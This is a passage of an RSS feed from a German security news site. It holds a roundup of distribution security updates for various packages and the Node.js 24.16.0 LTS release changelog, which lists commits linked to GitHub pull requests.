<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (atril, evince, gnutls28, haproxy, haveged, jq, kernel, krb5, libgcrypt20, nodejs, and thunderbird), Fedora (aw-server-rust, awatcher, bind, bind-dyndb-ldap, chromium, composer, docker-buildkit, docker-buildx, dotnet10.0, dotnet8.0, dotnet9.0, evince, f...]]></description>
<link>https://tsecurity.de/de/3545828/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3545828/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 25 May 2026 16:53:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (atril, evince, gnutls28, haproxy, haveged, jq, kernel, krb5, libgcrypt20, nodejs, and thunderbird), <b>Fedora</b> (aw-server-rust, awatcher, bind, bind-dyndb-ldap, chromium, composer, docker-buildkit, docker-buildx, dotnet10.0, dotnet8.0, dotnet9.0, evince, firefox, httpd, kernel, nodejs-aw-webui, nss, perl-Apache-Session-Browseable, pie, python-pulp-glue, python-requests, and python3.15), <b>Slackware</b> (kernel), <b>SUSE</b> (apptainer, chromium, cockpit, dnsmasq, google-guest-agent, hauler, iproute2, jfrog-cli, kernel, libecpg6, libsolv, libzypp, zypper, mcphost, oci-cli, perl-YAML-Syck, python-lxml, python-urllib3, python311-impacket, rqlite, rsync, util-linux, and xz), and <b>Ubuntu</b> (evince, linux-azure, linux-azure-5.4, linux-azure-fips, linux-azure-4.15, linux-azure-fips, linux-fips, linux-gcp-5.15, linux-lowlatency-hwe-5.15, linux-oracle-6.17, node-path-to-regexp, and rclone).]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-05-21, Version 24.16.0 'Krypton' (LTS), @aduh95]]></title>
<description><![CDATA[Notable Changes

[b267f6bca3] - (SEMVER-MINOR) crypto: implement randomUUIDv7() (nabeel378) #62553
[ec2451b9cd] - (SEMVER-MINOR) debugger: add edit-free runtime expression probes to node inspect (Joyee Cheung) #62713
[9705f628d9] - (SEMVER-MINOR) fs: add signal option to fs.stat() (Mert Can Altin...]]></description>
<link>https://tsecurity.de/de/3536530/downloads/2026-05-21-version-24160-krypton-lts-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3536530/downloads/2026-05-21-version-24160-krypton-lts-aduh95/</guid>
<pubDate>Thu, 21 May 2026 15:32:09 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/b267f6bca3"><code>b267f6bca3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement <code>randomUUIDv7()</code> (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec2451b9cd"><code>ec2451b9cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9705f628d9"><code>9705f628d9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add signal option to <code>fs.stat()</code> (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40ccfdecf9"><code>40ccfdecf9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose <code>frsize</code> field in <code>statfs</code> (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7188af5c9"><code>d7188af5c9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden <code>ClientRequest</code> options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa1d8a9afc"><code>aa1d8a9afc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add <code>req.signal</code> to <code>IncomingMessage</code> (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f37f7e240"><code>6f37f7e240</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in <code>duplexPair</code> (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d14029be7f"><code>d14029be7f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d142c584cd"><code>d142c584cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01a9552585"><code>01a9552585</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for <code>AbortSignal.timeout</code> (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00705a459a"><code>00705a459a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/dd72df060d"><code>dd72df060d</code></a>] - <strong>assert,util</strong>: fix stale nested cycle memo entries (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/62509" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62509/hovercard">#62509</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/add94f4bc3"><code>add94f4bc3</code></a>] - <strong>build</strong>: track PDL files as inputs in inspector GN build (Robo) <a href="https://github.com/nodejs/node/pull/62888" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62888/hovercard">#62888</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b1eb9e334"><code>1b1eb9e334</code></a>] - <strong>build</strong>: remove redundant -fuse-linker-plugin from GCC LTO flags (Daniel Lando) <a href="https://github.com/nodejs/node/pull/62667" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62667/hovercard">#62667</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8752b604ec"><code>8752b604ec</code></a>] - <strong>crypto</strong>: deduplicate and canonicalize CryptoKey usages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62902" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62902/hovercard">#62902</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/341947e7fd"><code>341947e7fd</code></a>] - <strong>crypto</strong>: reject unintended raw key format string input (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62974/hovercard">#62974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28a78747fc"><code>28a78747fc</code></a>] - <strong>crypto</strong>: remove Argon2 KDF derivation from its job setup (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62863" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62863/hovercard">#62863</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16e8c2b54d"><code>16e8c2b54d</code></a>] - <strong>crypto</strong>: fix unsigned conversion of 4-byte RSA publicExponent (DeepView Autofix) <a href="https://github.com/nodejs/node/pull/62839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62839/hovercard">#62839</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eeae754a87"><code>eeae754a87</code></a>] - <strong>crypto</strong>: reject inherited key type names (Jonathan Lopes) <a href="https://github.com/nodejs/node/pull/62875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62875/hovercard">#62875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9dd5540325"><code>9dd5540325</code></a>] - <strong>crypto</strong>: add memory tracking for secureContext openssl objects (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/59051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59051/hovercard">#59051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b267f6bca3"><code>b267f6bca3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement randomUUIDv7() (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7597d204c1"><code>7597d204c1</code></a>] - <strong>crypto</strong>: add support for Ed25519 context parameter (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62474" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62474/hovercard">#62474</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4bf85845da"><code>4bf85845da</code></a>] - <strong>debugger</strong>: move ProbeInspectorSession and helpers to separate files (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63013/hovercard">#63013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec2451b9cd"><code>ec2451b9cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83e98f77b7"><code>83e98f77b7</code></a>] - <strong>deps</strong>: update corepack to 0.35.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63375" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63375/hovercard">#63375</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec8c6b939a"><code>ec8c6b939a</code></a>] - <strong>deps</strong>: V8: cherry-pick 657d8de27427 (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62784" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62784/hovercard">#62784</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/722c0c3274"><code>722c0c3274</code></a>] - <strong>deps</strong>: update nghttp3 to 1.14.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61187/hovercard">#61187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5304db93d3"><code>5304db93d3</code></a>] - <strong>deps</strong>: update nghttp3 to 1.13.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60046" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60046/hovercard">#60046</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e073b3811d"><code>e073b3811d</code></a>] - <strong>deps</strong>: update nghttp3 to 1.11.0 (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d00313fb2"><code>1d00313fb2</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.14.0 (James M Snell) <a href="https://github.com/nodejs/node/pull/59249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59249/hovercard">#59249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b3a4fc18f"><code>8b3a4fc18f</code></a>] - <strong>deps</strong>: update amaro to 1.1.9 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63090" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63090/hovercard">#63090</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62fe0cfcd1"><code>62fe0cfcd1</code></a>] - <strong>deps</strong>: update llhttp to 9.4.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63045" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63045/hovercard">#63045</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/137e09c8e9"><code>137e09c8e9</code></a>] - <strong>deps</strong>: update corepack to 0.34.7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62810" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62810/hovercard">#62810</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/14a4cb8fbc"><code>14a4cb8fbc</code></a>] - <strong>deps</strong>: update timezone to 2026b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62962" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62962/hovercard">#62962</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e1036583a"><code>3e1036583a</code></a>] - <strong>deps</strong>: upgrade npm to 11.13.0 (npm team) <a href="https://github.com/nodejs/node/pull/62898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62898/hovercard">#62898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01dfe5961c"><code>01dfe5961c</code></a>] - <strong>deps</strong>: cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/libuv/libuv/commit/439a54b/hovercard" href="https://github.com/libuv/libuv/commit/439a54b">libuv/libuv@<tt>439a54b</tt></a> (skooch) <a href="https://github.com/nodejs/node/pull/62881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62881/hovercard">#62881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6cd368b10c"><code>6cd368b10c</code></a>] - <strong>deps</strong>: update sqlite to 3.53.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62699/hovercard">#62699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f218a4f553"><code>f218a4f553</code></a>] - <strong>deps</strong>: update nbytes to 0.1.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62698/hovercard">#62698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b47688524a"><code>b47688524a</code></a>] - <strong>deps</strong>: update archs files for openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d202e2d343"><code>d202e2d343</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2faba66341"><code>2faba66341</code></a>] - <strong>deps</strong>: update minimatch to 10.2.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62594" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62594/hovercard">#62594</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fa46c90c5d"><code>fa46c90c5d</code></a>] - <strong>deps</strong>: update googletest to d72f9c8aea6817cdf1ca0ac10887f328de7f3da2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62593/hovercard">#62593</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/099ded5713"><code>099ded5713</code></a>] - <strong>deps</strong>: update simdjson to 4.6.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62592" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62592/hovercard">#62592</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ce95afe96"><code>7ce95afe96</code></a>] - <strong>deps</strong>: libuv: cherry-pick aabb7651de (Santiago Gimeno) <a href="https://github.com/nodejs/node/pull/62561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62561/hovercard">#62561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57ef845623"><code>57ef845623</code></a>] - <strong>deps</strong>: update icu to 78.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62324" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62324/hovercard">#62324</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/493ac40e12"><code>493ac40e12</code></a>] - <strong>deps</strong>: update libuv to 1.52.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61829/hovercard">#61829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b39508b368"><code>b39508b368</code></a>] - <strong>deps</strong>: update undici to 7.25.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63011" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63011/hovercard">#63011</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cb67a925e9"><code>cb67a925e9</code></a>] - <strong>deps</strong>: use npm undici@seven tag in <code>update-undici.sh</code> (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62739" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62739/hovercard">#62739</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa1e0bc28b"><code>aa1e0bc28b</code></a>] - <strong>doc</strong>: fix typos and inconsistencies in crypto.md and webcrypto.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62828/hovercard">#62828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f2a1735ed9"><code>f2a1735ed9</code></a>] - <strong>doc</strong>: fix duplicate word "to to" in util.styleText (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6378e215c"><code>b6378e215c</code></a>] - <strong>doc</strong>: fix node-config-schema (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61596" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61596/hovercard">#61596</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/233894a9ce"><code>233894a9ce</code></a>] - <strong>doc</strong>: fix the TypeScript Execute (tsx) project link (David Thornton) <a href="https://github.com/nodejs/node/pull/63093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63093/hovercard">#63093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5d97919f8f"><code>5d97919f8f</code></a>] - <strong>doc</strong>: correct diagnostics_channel built-in channel names (Bryan English) <a href="https://github.com/nodejs/node/pull/62995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62995/hovercard">#62995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a9ccc927e"><code>2a9ccc927e</code></a>] - <strong>doc</strong>: use mjs/cjs blocks for callbackify null reason example (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62884/hovercard">#62884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef413b5358"><code>ef413b5358</code></a>] - <strong>doc</strong>: fix typo in test.md (Rich Trott) <a href="https://github.com/nodejs/node/pull/62960" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62960/hovercard">#62960</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76f21c5070"><code>76f21c5070</code></a>] - <strong>doc</strong>: correct typo in PR contribution instructions (Mike McCready) <a href="https://github.com/nodejs/node/pull/62738" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62738/hovercard">#62738</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca02af1f7d"><code>ca02af1f7d</code></a>] - <strong>doc</strong>: fix duplicate word "of of" in postMessageToThread (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46c99ed526"><code>46c99ed526</code></a>] - <strong>doc</strong>: fix duplicate word "for for" in compile cache (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a60851734"><code>1a60851734</code></a>] - <strong>doc</strong>: fix typo in dns.lookup options description (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62882/hovercard">#62882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/169b5ea2ed"><code>169b5ea2ed</code></a>] - <strong>doc</strong>: fix Argon2 parameter bounds (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62868" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62868/hovercard">#62868</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a3a190f4e"><code>9a3a190f4e</code></a>] - <strong>doc</strong>: clarify diffieHellman.generateKeys recomputes same key (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62205/hovercard">#62205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0fba9e87d6"><code>0fba9e87d6</code></a>] - <strong>doc</strong>: remove Ayase-252 and meixg from triagger team (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62841" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62841/hovercard">#62841</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9c700f3446"><code>9c700f3446</code></a>] - <strong>doc</strong>: clarify dns.lookup() callback signature when all is true (eungi) <a href="https://github.com/nodejs/node/pull/62800" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62800/hovercard">#62800</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b7280bc17"><code>6b7280bc17</code></a>] - <strong>doc</strong>: add experimental modules lifetime policy (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62753" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62753/hovercard">#62753</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce47ea31c9"><code>ce47ea31c9</code></a>] - <strong>doc</strong>: clarify process._debugProcess() in Permission Model (Fahad Khan) <a href="https://github.com/nodejs/node/pull/62537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62537/hovercard">#62537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba01633757"><code>ba01633757</code></a>] - <strong>doc</strong>: fix typo in devcontainer guide (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62687/hovercard">#62687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70b4d5839b"><code>70b4d5839b</code></a>] - <strong>doc</strong>: clarify Backport-PR-URL metadata added automatically (Mike McCready) <a href="https://github.com/nodejs/node/pull/62668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62668/hovercard">#62668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8126d1c3eb"><code>8126d1c3eb</code></a>] - <strong>doc</strong>: update WPT test runner README.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62680/hovercard">#62680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/978afea4b5"><code>978afea4b5</code></a>] - <strong>doc</strong>: fix spelling in release announcement guidance (Rohan Santhosh Kumar) <a href="https://github.com/nodejs/node/pull/62663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62663/hovercard">#62663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1684ab8ff8"><code>1684ab8ff8</code></a>] - <strong>doc</strong>: note non-monotonic clock in crypto.randomUUIDv7 (nabeel378) <a href="https://github.com/nodejs/node/pull/62600" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62600/hovercard">#62600</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86d4f07930"><code>86d4f07930</code></a>] - <strong>doc</strong>: update bug bounty program (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62590" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62590/hovercard">#62590</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/736ed8a08f"><code>736ed8a08f</code></a>] - <strong>doc</strong>: document TransformStream transformer.cancel option (Tom Pereira) <a href="https://github.com/nodejs/node/pull/62566" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62566/hovercard">#62566</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/938af9be01"><code>938af9be01</code></a>] - <strong>doc</strong>: mention test runner retry attemp is zero based (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94433e450f"><code>94433e450f</code></a>] - <strong>doc,src,test</strong>: fix dead inspector help URL (semimikoh) <a href="https://github.com/nodejs/node/pull/62745" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62745/hovercard">#62745</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ddf1f01659"><code>ddf1f01659</code></a>] - <strong>esm</strong>: add <code>ERR_REQUIRE_ESM_RACE_CONDITION</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62462" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62462/hovercard">#62462</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a506acd16"><code>4a506acd16</code></a>] - <strong>fs</strong>: add followSymlinks option to glob (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62695" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62695/hovercard">#62695</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4ea495f9b"><code>f4ea495f9b</code></a>] - <strong>fs</strong>: restore fs patchability in ESM loader (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62835" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62835/hovercard">#62835</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/63c111cd60"><code>63c111cd60</code></a>] - <strong>fs</strong>: validate position argument before length === 0 early return (Edy Silva) <a href="https://github.com/nodejs/node/pull/62674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62674/hovercard">#62674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9705f628d9"><code>9705f628d9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add signal option to fs.stat() (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40ccfdecf9"><code>40ccfdecf9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose frsize field in statfs (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/717476a24e"><code>717476a24e</code></a>] - <strong>http</strong>: emit 'drain' on OutgoingMessage only after buffers drain (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62936" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62936/hovercard">#62936</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7188af5c9"><code>d7188af5c9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden ClientRequest options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64f15c274a"><code>64f15c274a</code></a>] - <strong>http</strong>: fix leaked error listener on sync HTTP req create + destroy (Tim Perry) <a href="https://github.com/nodejs/node/pull/62872" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62872/hovercard">#62872</a></li>
